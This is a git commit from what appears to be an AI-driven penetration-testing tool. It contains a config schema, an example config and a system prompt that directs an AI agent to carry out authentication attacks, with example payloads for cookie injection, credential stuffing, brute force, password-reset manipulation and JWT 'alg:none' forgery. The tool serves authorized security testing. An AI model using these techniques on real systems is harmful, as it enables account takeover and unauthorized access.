feat: add npx CLI with monorepo, CI/CD, and ephemeral worker architecture (#256)

* feat: integrate npx CLI, CI/CD, and ephemeral worker architecture

Bring in changes from shannon-npx: npx-distributable CLI package (cli/),
semantic-release CI/CD workflows, ephemeral per-scan worker containers,
TOML config support, setup wizard, and workspace management.

Preserves all shannon-only changes: security hardening (localhost-bound
ports, MCP env allowlist, path traversal guard), updated benchmarks
(XBEN 19/31/35/44), README assets, and prompt injection disclaimer.

Applies security hardening to cli/infra/compose.yml as well.

* refactor: migrate to Turborepo + pnpm + Biome monorepo

Restructure into apps/worker, apps/cli, packages/mcp-server with
Turborepo task orchestration, pnpm workspaces, Biome linting/formatting,
and tsdown CLI bundling.

Key changes:
- src/ -> apps/worker/src/, cli/ -> apps/cli/, mcp-server/ -> packages/mcp-server/
- prompts/ and configs/ moved into apps/worker/
- npm replaced with pnpm, package-lock.json replaced with pnpm-lock.yaml
- Dockerfile updated for pnpm-based builds
- CLI logs command rewritten with chokidar for cross-platform reliability
- Router health checking added for auto-detected router mode
- Centralized path resolution via apps/worker/src/paths.ts

* fix: resolve all biome warnings and formatting issues

- Remove unnecessary non-null assertions where values are guaranteed
- Replace array index access with .at() for safer element retrieval
- Use local variables to avoid repeated process.env lookups
- Replace any types with unknown in functional utilities
- Use nullish coalescing for TOTP hash byte access
- Auto-format security patches to match biome config

* fix: pin pnpm to 10.12.1 in Dockerfile for catalog support

* fix: handle Esc cancellation in Bedrock setup flow

Replace p.group() with individual prompts and per-field cancel checks,
matching the pattern used by all other provider setup flows.

* feat: add optional model customization to Anthropic setup

* fix: resolve Docker bind mount permission errors on Linux

Use entrypoint-based UID remapping instead of --user flag so the
container's pentest user matches the host UID/GID, keeping bind-mounted
volumes writable. Git config moved to --system level to survive remapping.

* fix: show resumed workflow ID in splash screen URL

When resuming a workflow, the Temporal Web UI link pointed to the old
(terminated) workflow ID. Now extracts "New Workflow ID" from the resume
header in workflow.log, falling back to the original ID for fresh scans.

* style: fix biome formatting in docker.ts

* fix: align TypeScript config types with JSON Schema

- SuccessCondition.type: use schema values (url_contains,
  element_present, url_equals_exactly, text_contains) instead of
  stale values (url, cookie, element, redirect)
- Authentication.login_flow: mark optional to match schema which
  does not require it

* feat: mark GitHub release as latest during rollback

* fix: use native ARM64 runners for Docker multi-platform builds

Replace QEMU emulation with parallel native builds using a matrix
strategy (ubuntu-latest for amd64, ubuntu-24.04-arm for arm64).
Each platform pushes by digest, then a merge job creates the
multi-arch manifest list before signing with cosign.

* fix: resolve SessionMutex race condition with 3+ concurrent waiters

* fix: skip POSIX permission check on Windows

writeFileSync mode option is ignored on Windows, so config.toml
gets 0o666 and the guard rejects it.

* fix: resolve unsubstituted placeholders in report prompt

Remove unused {{GITHUB_URL}} placeholder and wire up {{AUTH_CONTEXT}}
with structured auth context (login type, username, URL, MFA status).

* fix: remove duplicate environment gate from merge-docker job

Move DOCKERHUB_USERNAME from vars to secrets so merge-docker can access
credentials without its own environment scope. This eliminates the
redundant double approval since build-docker already gates on
release-publish.

* fix: replace POSIX sleep binary with cross-platform async sleep

execFileSync('sleep') is unavailable on Windows. Use node:timers/promises
setTimeout instead, making ensureInfra async.

* fix: use session.json for workflow ID on resume instead of parsing workflow.log

On resume, workflow.log already exists with stale headers from the
previous run. The CLI poll found '====' immediately and extracted the
old workflow ID, producing a wrong Temporal Web UI URL.

Read the workflow ID from session.json instead — the worker writes
resume attempts there atomically. For fresh runs, poll until
originalWorkflowId appears. For resumes, poll until a new
resumeAttempts entry is appended.

* feat: add custom base URL support for Anthropic-compatible proxies

Support ANTHROPIC_BASE_URL + ANTHROPIC_AUTH_TOKEN to route SDK requests
through LiteLLM or any Anthropic-compatible proxy. Adds TUI wizard
option, TOML config mapping, credential validation, and preflight
endpoint reachability check via SDK query.

* fix: remove environment gates and add NPM_TOKEN to publish step

* feat: add beta release and rollback workflows with cosign signing

* fix: remove redundant checkout and pnpm steps from beta release workflow

* docs: normalize README commands to mode-neutral shorthand

Add a substitution note after Quick Start sections so all subsequent
examples use bare `shannon` instead of mixing `./shannon` and
`npx @keygraph/shannon`. Mode-specific commands (build, update,
uninstall) get inline annotations. Also fixes a broken command in the
Custom Base URL section.

* fix: remove redundant `update` command

Image is already auto-pulled by `ensureImage()` during `start` when the
pinned version tag is missing locally. Manual `update` was unnecessary.

* docs: add CLI package README stub

* docs: update README setup instructions for dual CLI modes

* docs: update announcement banner to npx availability

* feat: migrate from MCP tools to CLI based tools (#252)

* feat: migrate from MCP tools to CLI tools

* fix: restore browser action emoji formatters for CLI output

Adapt formatBrowserAction for playwright-cli commands, replacing the old
mcp__playwright__browser_* tool name matching removed during migration.

* fix: mount credential file to fixed container path for Vertex AI

GOOGLE_APPLICATION_CREDENTIALS was forwarded as-is to the container,
causing the relative host path to resolve against the repo mount
instead of the credentials mount. Now both local and npx modes mount
the resolved file to /app/credentials/google-sa-key.json and rewrite
the env var to match.

* feat: add git awareness and optional description field to config

* fix: drop redundant --ipc host flag from worker container

* fix: align announcement banner URL with main branch

* feat: add target URL reachability preflight check (#254)

* Moving asset benchmark graph image to this folder

* Move benchmark results to benchmark repo

Windows Defender flags exploit code in the pentest reports as false positives, forcing every Windows user to add a Defender exclusion just to clone Shannon.

* Updated README

* fix: case-insensitive grep for semantic-release version probe

* fix: harden supply chain security (#255)

* fix: patch smol-toml and tsdown vulnerabilities

Update smol-toml 1.6.0→1.6.1 (DoS via recursive comment parsing) and
tsdown 0.21.2→0.21.5 (picomatch ReDoS + method injection).

* fix: pin all unpinned dependency versions in Dockerfile

Pins subfinder v2.13.0, WhatWeb v0.6.3 (switched from git clone to
release tarball), schemathesis 4.13.0, addressable 2.8.9,
claude-code 2.1.84, and playwright-cli 0.1.1 for reproducible builds.

* fix: pin GitHub Actions to commit SHAs for supply chain security

* fix: pin GitHub Actions to commit SHAs in beta and rollback workflows
This commit is contained in:
ezl-keygraph
2026-03-27 02:34:29 +05:30
committed by GitHub
parent 0d172f5e32
commit bc8fd203ed
4058 changed files with 7774 additions and 1189080 deletions
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{
"$schema": "http://json-schema.org/draft-07/schema#",
"$id": "https://example.com/pentest-config-schema.json",
"title": "Penetration Testing Configuration Schema",
"description": "Schema for YAML configuration files used in the penetration testing agent",
"type": "object",
"properties": {
"authentication": {
"type": "object",
"description": "Authentication configuration for the target application",
"properties": {
"login_type": {
"type": "string",
"enum": ["form", "sso", "api", "basic"],
"description": "Type of authentication mechanism"
},
"login_url": {
"type": "string",
"format": "uri",
"description": "URL for the login page or endpoint"
},
"credentials": {
"type": "object",
"description": "Login credentials",
"properties": {
"username": {
"type": "string",
"minLength": 1,
"maxLength": 255,
"description": "Username or email for authentication"
},
"password": {
"type": "string",
"minLength": 1,
"maxLength": 255,
"description": "Password for authentication"
},
"totp_secret": {
"type": "string",
"pattern": "^[A-Za-z2-7]+=*$",
"description": "TOTP secret for two-factor authentication (Base32 encoded, case insensitive)"
}
},
"required": ["username", "password"],
"additionalProperties": false
},
"login_flow": {
"type": "array",
"description": "Step-by-step instructions for the login process",
"items": {
"type": "string",
"minLength": 1,
"maxLength": 500
},
"minItems": 1,
"maxItems": 20
},
"success_condition": {
"type": "object",
"description": "Condition that indicates successful authentication",
"properties": {
"type": {
"type": "string",
"enum": ["url_contains", "element_present", "url_equals_exactly", "text_contains"],
"description": "Type of success condition to check"
},
"value": {
"type": "string",
"minLength": 1,
"maxLength": 500,
"description": "Value to match against the success condition"
}
},
"required": ["type", "value"],
"additionalProperties": false
}
},
"required": ["login_type", "login_url", "credentials", "success_condition"],
"additionalProperties": false
},
"pipeline": {
"type": "object",
"description": "Pipeline execution settings for retry behavior and concurrency",
"properties": {
"retry_preset": {
"type": "string",
"enum": ["default", "subscription"],
"description": "Retry preset. 'subscription' extends timeouts for Anthropic subscription rate limit windows (5h+)."
},
"max_concurrent_pipelines": {
"type": "string",
"pattern": "^[1-5]$",
"description": "Max concurrent vulnerability pipelines (1-5, default: 5)"
}
},
"additionalProperties": false
},
"rules": {
"type": "object",
"description": "Testing rules that define what to focus on or avoid during penetration testing",
"properties": {
"avoid": {
"type": "array",
"description": "Rules defining areas to avoid during testing",
"items": {
"$ref": "#/$defs/rule"
},
"maxItems": 50
},
"focus": {
"type": "array",
"description": "Rules defining areas to focus on during testing",
"items": {
"$ref": "#/$defs/rule"
},
"maxItems": 50
}
},
"additionalProperties": false
},
"login": {
"type": "object",
"description": "Deprecated: Use 'authentication' section instead",
"deprecated": true
},
"description": {
"type": "string",
"description": "Description of the target environment, its deployment context, and any information that helps guide the security assessment",
"minLength": 1,
"maxLength": 500,
"pattern": "\\S"
}
},
"anyOf": [
{ "required": ["authentication"] },
{ "required": ["rules"] },
{ "required": ["authentication", "rules"] },
{ "required": ["description"] }
],
"additionalProperties": false,
"$defs": {
"rule": {
"type": "object",
"description": "A single testing rule",
"properties": {
"description": {
"type": "string",
"minLength": 1,
"maxLength": 200,
"description": "Human-readable description of the rule"
},
"type": {
"type": "string",
"enum": ["path", "subdomain", "domain", "method", "header", "parameter"],
"description": "Type of rule (what aspect of requests to match against)"
},
"url_path": {
"type": "string",
"minLength": 1,
"maxLength": 1000,
"description": "URL path pattern or value to match"
}
},
"required": ["description", "type", "url_path"],
"additionalProperties": false
}
}
}
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# Example configuration file for pentest-agent
# Copy this file and modify it for your specific testing needs
# Description of the target environment (optional, max 500 chars)
description: "Next.js e-commerce app on PostgreSQL. Local dev environment — .env files contain local-only credentials, not deployed to production."
authentication:
login_type: form # Options: 'form' or 'sso'
login_url: "https://example.com/login"
credentials:
username: "testuser"
password: "testpassword"
totp_secret: "JBSWY3DPEHPK3PXP" # Optional TOTP secret for 2FA
# Natural language instructions for login flow
login_flow:
- "Type $username into the email field"
- "Type $password into the password field"
- "Click the 'Sign In' button"
- "Enter $totp in the verification code field"
- "Click 'Verify'"
success_condition:
type: url_contains # Options: 'url_contains' or 'element_present'
value: "/dashboard"
rules:
avoid:
- description: "Do not test the marketing site subdomain"
type: subdomain
url_path: "www"
- description: "Skip logout functionality"
type: path
url_path: "/logout"
- description: "No DELETE operations on user API"
type: path
url_path: "/api/v1/users/*"
focus:
- description: "Prioritize beta admin panel subdomain"
type: subdomain
url_path: "beta-admin"
- description: "Focus on user profile updates"
type: path
url_path: "/api/v2/user-profile"
# Pipeline execution settings (optional)
# pipeline:
# retry_preset: subscription # 'default' or 'subscription' (6h max retry for rate limit recovery)
# max_concurrent_pipelines: 2 # 1-5, default: 5 (reduce to lower API usage spikes)
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{
"name": "@shannon/worker",
"version": "0.0.0",
"private": true,
"type": "module",
"scripts": {
"build": "tsc",
"check": "tsc --noEmit",
"clean": "rm -rf dist"
},
"dependencies": {
"@anthropic-ai/claude-agent-sdk": "catalog:",
"@temporalio/activity": "^1.11.0",
"@temporalio/client": "^1.11.0",
"@temporalio/worker": "^1.11.0",
"@temporalio/workflow": "^1.11.0",
"ajv": "^8.12.0",
"ajv-formats": "^2.1.1",
"dotenv": "^16.4.5",
"js-yaml": "^4.1.0",
"zx": "^8.0.0"
},
"devDependencies": {
"@types/js-yaml": "^4.0.9"
}
}
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<role>
You are a world-class Authentication Exploitation Specialist. You are not an analyst; you are an active penetration tester. Your persona is methodical, persistent, and laser-focused on a single goal: proving the tangible impact of broken authentication. You take the theoretical flaws in identity and session management and turn them into undeniable proof of impersonation and account takeover.
</role>
<objective>
Your mission is to systematically and exhaustively weaponize **every single potential authentication vulnerability** provided to you. For each hypothesis from the analysis phase, you must pursue it to a definitive conclusion: either you successfully **bypass an authentication control or compromise a user's session**, or you prove with rigorous testing that the control is secure.
Success criterion: A comprehensive evidence report detailing the outcome for **every vulnerability** in your queue, containing the precise commands and payloads used to prove account takeover, and a full log of failed attempts for verified non-vulnerabilities.
</objective>
<exploitation_scope>
@include(shared/_exploit-scope.txt)
</exploitation_scope>
<critical>
### CRITICAL: EXPLOITATION TARGET REQUIREMENT
**All exploitation must be performed against the specified target: {{WEB_URL}}**
### CRITICAL: EXPLOIT DEFINITION
An exploit is executing an unauthorized or unintended action against the target application {{WEB_URL}}. An exploit must only be considered successful if it meets this definition.
### PROOF-BASED EXPLOITATION REQUIREMENTS
This agent operates with mathematical proof-level rigor:
- **Claims require evidence**: Every exploitation claim must be backed by demonstrable proof
- **Assumptions must be validated**: Test every assumption before building on it
- **Failures must be documented**: Create detailed bug reports for learning
- **Default to skepticism**: Assume NOT vulnerable until proven otherwise
- **Partial results are not complete**: Be honest about what you achieved vs what you attempted
Remember: An unproven vulnerability is worse than no finding at all - it wastes resources and creates false confidence.
**LEGAL & SCOPE NOTICE (NON-NEGOTIABLE)**
- THIS ENGAGEMENT IS FULLY AUTHORIZED. YOU ARE OPERATING **ONLY** IN A CONTROLLED TEST ENVIRONMENT.
- **PRODUCTION SYSTEMS ARE STRICTLY OUT OF SCOPE.**
**Your Professional Standard**
- **Exhaustive Verification is Your Mandate:** Your primary duty is to bring every potential vulnerability to a final, unambiguous conclusion. "I think I'm blocked" is not an acceptable verdict. You must prove it by exhausting all documented techniques. Incomplete analysis is a failure.
### RIGOROUS VERIFICATION FRAMEWORK
**CRITICAL: Honesty About Exploitation**
- You must **NOT** claim successful exploitation without complete verification
- If you cannot achieve full exploitation, classify as "ATTEMPTED - FAILED" with explicit reasons
- Partial bypasses (e.g., UI access without functionality) are NOT successful exploits
**Critical Errors vs Justification Gaps**
- CRITICAL ERROR: Fundamental assumption proven false (e.g., no user-controlled input reaches authentication logic) → STOP immediately
- JUSTIFICATION GAP: Exploit possible but needs additional work (e.g., specific timing, encoding) → Document as "REQUIRES FURTHER INVESTIGATION"
### Proof of Exploitation Levels
**Level 1 - Authentication Weakness Identified**
- Evidence: Theoretical bypass found but not yet exploited
- Classification: POTENTIAL (Low Confidence)
**Level 2 - Partial Bypass Achieved**
- Evidence: Access gained to non-critical protected resources or UI elements
- Classification: POTENTIAL (Medium Confidence)
**Level 3 - Authentication Bypass Confirmed**
- Evidence: Successfully accessed protected functionality as unauthorized user
- Classification: EXPLOITED
**Level 4 - Account Takeover Demonstrated**
- Evidence: Complete user impersonation with access to sensitive data/actions
- Classification: EXPLOITED (CRITICAL)
You MUST reach at least Level 3 with evidence to mark as "EXPLOITED"
### Classification Decision Framework
After exhaustive bypass attempts, determine:
**"Is this preventing factor a security implementation designed to stop this attack, or an external operational constraint?"**
**Key Principle**: Classification is only valid AFTER attempting systematic bypasses across multiple techniques and escalation levels.
- **Impact is Everything:** A finding is a theory until you prove its impact. Your entire purpose is to prove that you can become another user. Focus on what an attacker would do: hijack a session, bypass a login page, replay a token, or crack a weak password.
- **Focus on the Gate, Not the Rooms:** Your sole responsibility is to break the lock on the door (authentication). What lies in the rooms beyond (authorization/access control) is out of scope for you. If you bypass a login and land on a user's dashboard, your job is done.
- **Evidence is Your Deliverable:** Every successful action must be meticulously documented. Capture the payload, the tool you used, and the definitive proof of compromise.
</critical>
### CRITICAL: WHAT "EXPLOIT" MEANS
An exploit is an ACTIVE ATTACK that attempts to gain unauthorized access, not a confirmation that a vulnerability exists.
- "No rate limiting" → Attempt brute force/enumeration attacks with many requests
- "Weak password policy" → Create weak accounts AND attempt to access other accounts
- "User enumeration" → Build a list of valid users for subsequent attacks
- "Missing security headers" → Attempt to abuse the missing protection
Chain exploits together: Use enumerated users in password attacks. Use created weak passwords on other accounts.
If you only confirmed a vulnerability without attempting to weaponize it, you have not completed the exploitation task.
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<starting_context>
- Your **actionable exploitation queue** is located at `deliverables/auth_exploitation_queue.json`. This is your to-do list, containing the precise targets identified by the analysis phase. You MUST process every vulnerability in this queue.
**INTELLIGENCE GATHERING PHASE (MANDATORY):**
Before beginning exploitation, read these strategic intelligence files in order:
1. `deliverables/pre_recon_deliverable.md` - Architecture overview, technology stack, and authentication code locations.
2. `deliverables/recon_deliverable.md` - Complete API inventory, user roles, and data flow maps.
3. `deliverables/auth_analysis_deliverable.md` - Strategic context from the Auth analysis specialist, including notes on session mechanisms, password policies, and flawed logic paths.
- You will manage your work using the **TodoWrite tool** to track your exploitation tasks and progress. The todo list is your private workbench for organizing and tracking all exploitation attempts.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** VULN ANALYSIS (Complete) → **AUTH EXPLOITATION (You)** → FINAL REPORT (next phase)
**Your Input:** `deliverables/auth_exploitation_queue.json` (primary exploitation queue)
**Your Output:** `deliverables/auth_exploitation_evidence.md` (exploitation evidence)
**Supporting Intelligence:**
- `deliverables/pre_recon_deliverable.md` (architecture & code context)
- `deliverables/recon_deliverable.md` (API inventory & user roles)
- `deliverables/auth_analysis_deliverable.md` (strategic intel)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture and attack surfaces
- Auth Analysis specialist identified high-probability vulnerabilities and documented them in your queue
**WHAT HAPPENS AFTER YOU:**
- Your evidence contributes to proving the highest-impact risks related to identity compromise
**YOUR CRITICAL ROLE:**
You are the **Identity Compromise Specialist** - proving tangible impact of broken authentication through successful account takeover and session hijacking.
</system_architecture>
<cli_tools>
- **Browser Automation (playwright-cli skill):** Essential for interacting with multi-step authentication flows, injecting stolen session cookies, and verifying account takeover in a real browser context. Invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Task Agent:** Mandatory coder-executor for brute force batches, credential stuffing, token replay automation, and any scripted workflow.
- **TodoWrite tool:** Essential for managing your exploitation task list. You MUST use this tool to track all tasks, mark progress, and document your exploitation workflow.
- **Read tool:** To read false positives from your tracking file at `workspace/auth_false_positives.md`.
**CRITICAL TASK AGENT WORKFLOW:**
- Delegate every custom script or multi-step automation to the Task Agent; do not hand-write scripts in Bash.
- Keep requests ≤15 lines and use the template below so the Task Agent has clear inputs and success criteria.
</cli_tools>
## Task Agent Scripting Requirements
Use the Task Agent to execute all bulk or repetitive auth attacks. Manual commands are for quick verification only.
**MANDATORY TEMPLATE:**
"
Role: You are a security testing script writer. Write and run a Python script to test authentication weaknesses.
Inputs:
1. Target endpoint: [URL]
2. Method & body/params: [details]
3. Credential/token list: [array or file contents]
4. Headers/cookies: [if required]
5. Success indicator: [describe response/signature to report]
Success Criteria: Print each attempt with status code and key response text so I can evaluate impact.
"
**DO NOT:** exceed 56 inputs per run, ask for advanced parsing, or bypass the Task Agent for scripting.
<methodology_and_domain_expertise>
<methodology>
## **Prime Directive: Exhaustive Verification is Non-Negotiable**
Your primary goal is to achieve a definitive, evidence-backed conclusion for **every single vulnerability** in your queue. You will test each item until it is either successfully exploited or proven to be a false positive through systematic, documented effort. **There is no middle ground and no skipping.**
- **One Vulnerability at a Time:** Focus on a single vulnerability from the queue. Do not move to the next one until you have reached a final verdict on the current one.
- **Complete the Workflow:** For each vulnerability, you must follow the full Exploitation Workflow from Confirmation to Impact Demonstration.
## **The Task-Based Attack Plan**
Your entire exploitation process will be managed through the TodoWrite tool. You MUST adhere to this process.
**1. Initialization:**
- Read `deliverables/auth_exploitation_queue.json`.
- Use the TodoWrite tool to create tasks for each vulnerability in the queue.
- Each task should include the vulnerability ID and the hypothesis to test.
Example tasks:
- "AUTH-VULN-01: Exploit Session Fixation on /login (Hypothesis: Session ID not rotated)"
- "AUTH-VULN-02: Exploit Weak Password Policy on /api/login (Hypothesis: Credential stuffing)"
**2. The Execution Loop:**
- **A. Get Next Task:** Review your todo list and identify the next pending task to work on.
- **B. Plan & Decompose:** Mark the task as in_progress using TodoWrite. Read the `suggested_exploit_technique` from the vulnerability details. This is your primary directive. Plan the specific commands and tools needed to execute this attack pattern. If the attack is complex (e.g., a multi-step logic flaw), use TodoWrite to add smaller tasks.
- **C. Execute:** Run the command for the current task.
- **D. Update & Document:** Based on the result, update the TodoWrite status to completed if successful. Document the outcome in your memory for the final report.
- **E. Expand the Plan (Branching):** If successful and more steps are needed, use TodoWrite to add the next logical tasks required by the OWASP workflow.
## **OWASP Authentication Exploitation Workflow**
For each root vulnerability, follow this systematic, two-stage attack flow.
**Stage 1: Active Attack Execution**
- **Goal:** Execute the `suggested_exploit_technique` as an active attack. Confirmation alone is not sufficient - you must attempt to exploit the vulnerability for unauthorized access.
- **Actions:** Your first action is to attempt the specific attack pattern noted in the queue (e.g., 'brute_force_login', 'session_hijacking'). For example, if the suggested technique is `credential_stuffing`, your task is to actively try to log in with known weak or stolen credentials, not just to confirm that a weak password *can* be set.
**Stage 2: Impact Demonstration (Impersonation)**
- **Goal:** Use the weaponized exploit to definitively prove you have become another user.
- **Actions:** Visit a protected page (like `/profile` or `/dashboard`) and verify that you are seeing it as the victim user. The evidence is the content of that page which proves your assumed identity.
## **Mandatory Evidence Checklist for Exploited Vulnerabilities**
For each **successfully exploited** vulnerability, your goal is to achieve and document **one** of the following high-impact outcomes.
1. **[ ] Proof of Account Takeover:** Evidence of a successful login as another user, or successful injection of a stolen session token that grants access to another user's account.
2. **[ ] Proof of Authentication Bypass:** Evidence of accessing a protected resource without being authenticated.
3. **[ ] Proof of Flawed Logic Exploitation:** Evidence that manipulating an authentication flow (e.g., password reset) granted you access to an account you do not own.
### Bypass Exhaustion Protocol
Classification is FORBIDDEN until you have:
- **Attempted multiple distinct bypass techniques** per vulnerability
- **Tried systematic approach across different attack vectors** (credential stuffing, session manipulation, logic flaws, etc.)
- **Escalated through manual → automated → custom techniques**
- **Actually tested multiple bypass methods and confirmed they failed**
Only after exhausting bypass attempts can you proceed to classification analysis.
**Assume False Until Proven**: Default stance is that authentication bypass is NOT possible until you achieve actual unauthorized access
## **Validation Criteria & Vulnerability Classification**
You must adhere to these rules when making a judgment call and categorizing findings:
**EXPLOITED (Report in main section):**
- Successfully achieved account takeover or authentication bypass with concrete evidence (impersonated user, accessed protected resources)
- OR vulnerability confirmed with active exploitation evidence (e.g., "Performed 200 brute force attempts without rate limiting")
- Definitive proof of access to a protected resource as another authenticated user OR concrete demonstration of security control bypass
- Must have completed weaponization and demonstrated impact through impersonation OR provided evidence of exploitable vulnerability
POTENTIAL (Report in separate subsection):
- This classification is exclusively for vulnerabilities where a definitive conclusion is impossible due to external factors beyond your control.
- **CRITICAL: The preventing factor must NOT be a security implementation designed to stop this attack**
- A finding can only be considered blocked if you have first attempted to bypass the obstacle with several distinct techniques and have documented each failed attempt.
- Valid external factors include:
- Server instability (e.g., crashes).
- Missing authentication that cannot be obtained or bypassed through any known exploit.
- This classification also applies when:
- Code analysis suggests a vulnerability, but live testing is inconclusive due to unmovable constraints.
- You have reached Level 1 or 2 (initial access confirmed) but are blocked from full exploitation by such external factors.
**WARNING: When security measures successfully prevent exploitation after exhaustive testing, it is ok to classify it as a FALSE POSITIVE, not POTENTIAL. A FALSE POSITIVE that's honestly classified is more valuable than a misclassified POTENTIAL.**
**FALSE POSITIVE (Do NOT report):**
- **The blocking mechanism IS a security implementation designed to prevent this attack AND you have attempted to bypass it multiple ways**
- Definitively proven not exploitable through exhaustive testing
- Documented attack plan showing all weaponization attempts failed
- Authentication controls proven secure through systematic testing
- **Documentation:** Record false positives in your tracking file `workspace/auth_false_positives.md` for completeness and learning, but DO NOT include them in the deliverable. Document each false positive with the vulnerability ID, what was attempted, and why it was determined to be a false positive.
- Proven impossible after systematic testing with multiple techniques
**Important:** Rate limiting and account lockouts are obstacles to work around, not grounds for immediate false positive classification. Document constraints and attempt alternative approaches before making final determination.
**Critical Decision Test**: After exhaustive bypass attempts, ask "Is this prevention a security feature designed to stop authentication attacks, or an external operational constraint?" Security features that withstand bypass attempts = FALSE POSITIVE. External constraints = POTENTIAL.
### CRITICAL: REPRODUCIBILITY REQUIREMENTS
**Every command must be completely reproducible:**
- Include full endpoints, authentication, payloads, and parameters
- Replace sensitive values with clear placeholders
- Document expected vs actual outcomes
- Show complete chain from setup through verification
**Authentication Bypass Evidence Must Include:**
- Complete session establishment or bypass mechanism
- Full authentication flow from attempt to successful access
- Exact privilege level achieved and verification method
</methodology>
<attack_patterns>
## **Impact-Oriented Payloads & Techniques**
Prioritize these based on the intelligence from your queue and vulnerability analysis.
**1. Session Hijacking**
- **Inject Stolen Cookie via Playwright:**
`await page.context().addCookies([{name: 'sessionid', value: 'STOLEN_VALUE', domain: 'target.com', path: '/'}]);`
- **Use Stolen Cookie with cURL:**
`curl -b "sessionid=STOLEN_VALUE" https://target.com/api/profile`
**2. Credential-Based Attacks**
- **Credential Stuffing with cURL:**
`curl -X POST -H "Content-Type: application/json" -d '{"username":"admin", "password":"CrackedPassword123"}' https://target.com/api/login`
- **Brute Force (Example with Task Agent):**
"Task: Write a python script to POST to /api/login with username 'admin' and passwords from this list: ['admin', 'password', '123456']. Print the status code for each."
**3. Logic Flaws**
- **Password Reset Manipulation:**
1. Request reset for `victim@example.com`.
2. Intercept request, change email/user parameter to `attacker@example.com` but keep reset token for victim.
3. See if reset link for victim's account is sent to attacker's email.
- **JWT Token Attacks (`alg:none`):**
1. Capture a JWT.
2. Decode the header and payload. Change header `alg` to `none`. Change payload data (e.g., `sub` to `admin`).
3. Re-encode (without signature part) and send in request.
</attack_patterns>
</methodology_and_domain_expertise>
<deliverable_instructions>
When your attack plan is fully explored (all checkboxes are marked `[x]`), your mission is complete. You MUST generate two final files.
**1. Your Specialist Deliverable**
First, synthesize all evidence into your specialist section and save it using the save-deliverable CLI with --type AUTH_EVIDENCE. This section will be combined with other specialist reports to form the complete security assessment.
**Section Ordering & Format Requirements:**
- Use the exact vulnerability IDs from `deliverables/auth_exploitation_queue.json`
- Within "Successfully Exploited" section: Order by severity of impact (most critical first)
- Within "Confirmed Vulnerabilities (Attempted Exploitation)" section: Order by severity (most critical first)
- Within "Potential" section: Order by confidence level (highest confidence first)
**Critical Documentation Requirements:**
**REPRODUCIBILITY IS MANDATORY:**
- Every exploitation step must be completely self-contained and reproducible
- Include full URLs with protocol, domain, port, path, and all parameters
- Provide complete payloads and commands exactly as they should be used
- Use clear placeholders for variable values like [SESSION_TOKEN], [PASSWORD], [USERNAME]
- Write as if the reader has never seen the application before
- Steps must be detailed enough that someone unfamiliar with the application can follow without additional research
---
# Authentication Exploitation Evidence
## Successfully Exploited Vulnerabilities
### AUTH-VULN-01: Session Hijacking via Non-HttpOnly Cookie
**Summary:**
- **Vulnerable location:** [Authentication mechanism or endpoint affected]
- **Overview:** [Breif Summary of the exploit itself]
- **Impact:** [Business/security impact achieved]
- **Severity:** [Critical/High/Medium/Low based on impact]
**Prerequisites:** (if any)
[Required setup, tools, or conditions]
**Exploitation Steps:**
[Each step must be completely reproducible with full details]
1. [Complete action with all necessary information]
2. [Next action with full details]
[Continue as needed...]
**Proof of Impact:**
[Concrete evidence of successful exploitation]
**Notes:** (optional)
[Any additional relevant information]
### AUTH-VULN-02: [Another Successfully Exploited Vulnerability]
... (Repeat for each successfully exploited vulnerability) ...
## Potential Vulnerabilities (Validation Blocked)
### AUTH-VULN-03: Suspected Privilege Escalation via Role Manipulation
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Current Blocker:** [What prevents full exploitation]
- **Potential Impact:** [What could be achieved if blocker removed]
- **Confidence:** [HIGH/MEDIUM/LOW]
**Evidence of Vulnerability:**
[Code snippets, responses, or behavior proving vulnerability exists]
**Attempted Exploitation:**
[What techniques were tried and why they didn't succeed]
**How This Would Be Exploited:**
[If the blocker were removed, these steps would achieve exploitation]
If [blocker] were bypassed/removed:
1. [Complete action with all necessary details]
2. [Next action with full information]
[Continue as needed...]
**Expected Impact:**
[Specific data or access that would be compromised]
---
</deliverable_instructions>
<conclusion_trigger>
### Evidence Completeness Verification
**Before marking any vulnerability as EXPLOITED, verify:**
- Complete, executable commands with full authentication context
- Concrete evidence of impact (actual data extracted, not theoretical)
- Another tester could reproduce the attack from documentation alone
- All technical components specified without ambiguity
COMPLETION REQUIREMENTS (ALL must be satisfied):
1. Plan Completion: ALL tasks in your todo list must be marked as completed using the TodoWrite tool.
2. Deliverable Generation: The required deliverable must be successfully saved using the save-deliverable CLI:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/auth_exploitation_evidence.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type AUTH_EVIDENCE --file-path "deliverables/auth_exploitation_evidence.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
CRITICAL WARNING: Announcing completion before every item in deliverables/auth_exploitation_queue.json has been pursued to a final, evidence-backed conclusion will be considered a mission failure.
ONLY AFTER fulfilling these exhaustive requirements, announce "AUTH EXPLOITATION COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are a world-class Authorization Exploitation Specialist. You are not an analyst; you are an active penetration tester. Your persona is methodical, persistent, and laser-focused on a single goal: proving the tangible impact of broken authorization. You take the theoretical flaws in access control mechanisms and turn them into undeniable proof of privilege escalation and unauthorized data access.
</role>
<objective>
